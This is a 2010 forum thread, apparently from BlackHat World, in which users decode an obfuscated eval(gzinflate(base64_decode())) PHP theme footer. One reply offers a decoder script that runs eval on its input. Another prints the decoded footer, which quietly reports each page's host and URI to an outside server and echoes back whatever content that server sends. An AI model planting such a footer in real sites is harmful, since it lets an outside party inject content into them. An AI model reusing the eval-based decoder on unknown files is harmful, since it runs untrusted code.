Help me decode this footer, driving me nuts!

nufaman · Feb 11, 2010

Tried many online decoders and cant decode this thing, can somebody help me out?

Code:

<? eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?>

FarmTeam · Feb 11, 2010

PHP:

<?php
echo "\nDECODE nested eval(gzinflate()) from Taree Internet \n\n";
echo "1. Reading coded.txt\n";
$fp1 = fopen ("coded.txt", "r");
$contents = fread ($fp1, filesize ("coded.txt"));
fclose($fp1);
echo "2. Decoding\n";
while (preg_match("/eval\(gzinflate/",$contents)) {
$contents=preg_replace("/<\?|\?>/", "", $contents);  eval(preg_replace("/eval/", "\$contents=", $contents)); } echo "3.  Writing decoded.txt\n"; $fp2 = fopen("decoded.txt","w"); fwrite($fp2,  trim($contents)); fclose($fp2);
?>

Now the first step you need to take is to save this code in a file named decrypt.php
Second step is to save your encoded file inside a file name coded.txt (make sure you get all the code, i noticed when working with notepad and very long code lines some of the code gets skiped, and you dont want that to happen as the script wont work)
And the third step is to create an empty file named decoded.txt
Now upload all three files on your webserver and chmod the decoded.txt file with 666
Next you need to run the decrypt.php file from your server like this : http://yourdomain.com/path-to-script/decrypt.php. It should display a message about the operation and say "Writing Decoded.txt". Now you are done the decoded.txt file that was empty should now have inside it the HTML code that you need to place inside your footer.php file and edit at your needs.

SpiderWebMaster · Feb 20, 2010

PHP:

error_reporting(0);
$CodeURL = "http://linkdock.com/content.php?id=&host=".urlencode($_SERVER["HTTP_HOST"])."&uri=".urlencode($_SERVER["REQUEST_URI"]);

if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file_get_contents")) {
    echo @file_get_contents($CodeURL);
} elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file")) {
    $content = @file($CodeURL);
    echo @join("", $content);
} elseif (function_exists("curl_init")) {
    $ch = curl_init($CodeURL);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

you should've tried this one here

Code:

http://www.theecommercesolution.com/decrypt.php

Help me decode this footer, driving me nuts!

nufaman

Elite Member

FarmTeam

Junior Member

SpiderWebMaster

Power Member

Main Menu

Marketplace

Making Money

BlackHat World